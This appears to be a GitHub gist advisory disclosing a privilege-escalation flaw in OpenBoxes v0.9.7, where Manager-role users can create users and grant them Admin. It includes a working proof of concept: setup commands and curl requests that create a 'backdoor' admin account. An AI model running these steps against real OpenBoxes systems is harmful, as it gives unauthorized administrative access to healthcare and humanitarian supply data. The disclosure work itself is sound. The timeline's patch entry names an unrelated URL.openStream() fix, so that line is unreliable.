Skip to content

Instantly share code, notes, and snippets.

@nedlir
Last active June 27, 2026 13:33
Show Gist options
  • Select an option

  • Save nedlir/2bc3a6e5bd4d67b863223e1bfc2e4390 to your computer and use it in GitHub Desktop.

Select an option

Save nedlir/2bc3a6e5bd4d67b863223e1bfc2e4390 to your computer and use it in GitHub Desktop.
OpenBoxes Privilege Escalation Vulnerability

A Privilege Escalation vulnerability has been identified in OpenBoxes, an open-source supply chain management system used by healthcare and humanitarian organizations. This vulnerability allows users with Manager role (a non-admin role) to escalate their privileges to Admin, potentially leading to:

  • Full administrative access to the system
  • Creation of persistent backdoor admin accounts
  • Access to all user data and system settings
  • Ability to compromise other user accounts

Key Finding: Manager role users, who are intended to only manage inventory and shipments, can create new users and assign them Admin privileges. This bypasses the intended role hierarchy and grants unauthorized administrative access.

Vulnerability Details

Affected Version

  • Version: OpenBoxes v0.9.7 and earlier
  • Docker Image: ghcr.io/openboxes/openboxes:0.97

OpenBoxes Role Hierarchy

Role Level Description
ROLE_SUPERUSER 0 Highest privilege
ROLE_ADMIN 1 Administrator - full system access
ROLE_MANAGER 2 Non-admin, manages inventory/shipments
ROLE_ASSISTANT 3 Limited access
ROLE_BROWSER 4 Read-only, lowest authenticated role

Important: Manager is a commonly assigned role for staff who manage inventory, shipments, and orders - not system administrators. They should NOT have access to user management functions.

Attack Chain

Step Action Required Role Endpoint
1 Authenticate Manager POST /auth/handleLogin
2 Create new user Manager POST /user/save
3 Assign ADMIN role Manager POST /user/update/{id}
4 Login as new admin - POST /auth/handleLogin

Root Cause Analysis

Primary Vulnerability: Missing Role-Based Access Control

Location: grails-app/controllers/org/pih/warehouse/RoleInterceptor.groovy

Vulnerable Configuration (lines 19-35, 44-53):

// Actions that require Manager role (includes save/update)
def static changeActions = [
    'delete', 'create', 'add', 'process', 'save', 'update',
    'importData', 'receive', 'showRecordInventory', 'withdraw',
    'cancel', 'change', 'toggle', 'exportAsCsv', 'importOutboundStockMovement'
]

// Actions that require Admin role - MISSING user/save and user/update
def static adminActions = [
    'product': ['create'],
    'person': ['list'],
    'user': ['list'],  // Only 'list' requires admin!
    'location': ['edit'],
    // ... user/save and user/update are NOT here
]

Root Cause: The user/save and user/update actions only require ROLE_MANAGER (via changeActions), but should require ROLE_ADMIN. The UI correctly hides user management from Managers, but the endpoints are directly accessible.

Secondary Vulnerability: No Role Assignment Validation

Location: grails-app/controllers/org/pih/warehouse/user/UserController.groovy

The save and update actions do not validate whether the current user has permission to assign specific roles. A Manager can assign ROLE_ADMIN to any user they create.

Authorization Code Analysis

needManager() Check (lines 180-186):

static Boolean needManager(controllerName, actionName) {
    def isChangeAction = changeActions.any {
        actionName?.startsWith(it)
    }
    def isWorkflow = controllerName?.contains("Workflow")
    def isChangeController = changeControllers?.contains(controllerName)
    def isManagerAction = managerActions[controllerName]?.contains(actionName)
    return isChangeAction || isWorkflow || isChangeController || isManagerAction
}

Authorization Results:

Endpoint Matches Required Role Should Require
user/list adminActions['user'] Admin Admin ✓
user/save changeActions ('save') Manager Admin ✗
user/update changeActions ('update') Manager Admin ✗

Research Process

Step 1: Environment Setup

Start OpenBoxes using Docker Compose:

cd docker
sudo docker compose up -d

Verify containers are running:

sudo docker ps

Expected output:

CONTAINER ID   IMAGE                                COMMAND                  STATUS          PORTS
xxxxxxxxx      nginx:1.13                           "nginx -g 'daemon of…"   Up (healthy)    0.0.0.0:80->80/tcp
xxxxxxxxx      ghcr.io/openboxes/openboxes:latest   "java -Dgrails.env=p…"   Up (healthy)    0.0.0.0:8080->8080/tcp
xxxxxxxxx      mariadb:10                           "docker-entrypoint.s…"   Up (healthy)    3306/tcp

Step 2: Create Test Manager User

sudo docker exec openboxes-db mysql -u openboxes -popenboxes openboxes -e "
-- Create Manager user
INSERT INTO person (id, version, date_created, last_updated, first_name, last_name, email, active)
VALUES ('manager-user-001', 0, NOW(), NOW(), 'Manager', 'User', 'manager@test.com', 1)
ON DUPLICATE KEY UPDATE first_name=first_name;

INSERT INTO user (id, username, password)
VALUES ('manager-user-001', 'manageruser', 'password')
ON DUPLICATE KEY UPDATE username=username;

INSERT IGNORE INTO user_role (user_id, role_id)
SELECT 'manager-user-001', id FROM role WHERE role_type = 'ROLE_MANAGER';

-- Verify
SELECT u.username, r.role_type FROM user u 
JOIN user_role ur ON u.id = ur.user_id 
JOIN role r ON ur.role_id = r.id 
WHERE u.username = 'manageruser';
"

Expected output:

username        role_type
manageruser     ROLE_MANAGER

Step 3: Run the Proof of Concept

# Login as Manager
curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt \
  "http://localhost:8080/openboxes/auth/login" > /dev/null

curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST "http://localhost:8080/openboxes/auth/handleLogin" \
  -d "username=manageruser&password=password" -L -o /dev/null

curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt \
  "http://localhost:8080/openboxes/dashboard/chooseLocation/1" -L -o /dev/null

# Verify Manager cannot access user list (403)
curl -s -b /tmp/cookies.txt \
  "http://localhost:8080/openboxes/user/list" -w "%{http_code}" -o /dev/null
# Output: 302 (redirect to forbidden)

# But Manager CAN create users
curl -s -b /tmp/cookies.txt -X POST \
  "http://localhost:8080/openboxes/user/save" \
  -d "username=backdoor&firstName=Back&lastName=Door&email=backdoor@test.com&password=Test123!&passwordConfirm=Test123!&active=on" \
  -w "\nRedirect: %{redirect_url}\n"
# Output: Redirect to /user/edit/{new_user_id}

# And assign ADMIN role
curl -s -b /tmp/cookies.txt -X POST \
  "http://localhost:8080/openboxes/user/update/{user_id}" \
  -d "id={user_id}&username=backdoor&firstName=Back&lastName=Door&email=backdoor@test.com&roles=1&active=on"

Usage

# Full exploit
python3 poc.py --url http://localhost:8080/openboxes -u manageruser -p password

CVSS 3.1 Score: 8.8 (HIGH)

Metric Value Justification
Attack Vector Network Exploitable over HTTP
Attack Complexity Low Simple HTTP requests
Privileges Required Low Manager role (non-admin)
User Interaction None No victim interaction needed
Scope Unchanged Stays within application
Confidentiality High Full access to all data
Integrity High Can modify any data
Availability High Can disable accounts

Vector String: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Real-World Impact

OpenBoxes is used by healthcare and humanitarian organizations including Partners In Health. Compromise could lead to:

  • Unauthorized access to sensitive healthcare supply chain data
  • Manipulation of inventory records affecting medical supply delivery
  • Compliance violations (HIPAA, GDPR) due to unauthorized access
  • Service disruption affecting humanitarian aid distribution

References

Vulnerability Timeline

Date Event
January 11, 2026 Vulnerability discovered and reported to the OpenBoxes maintainers.
February 2, 2026 Vulnerability acknowledged by the development team.
June 13, 2026 Security patch officially released, fixing the unvalidated URL.openStream() call.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment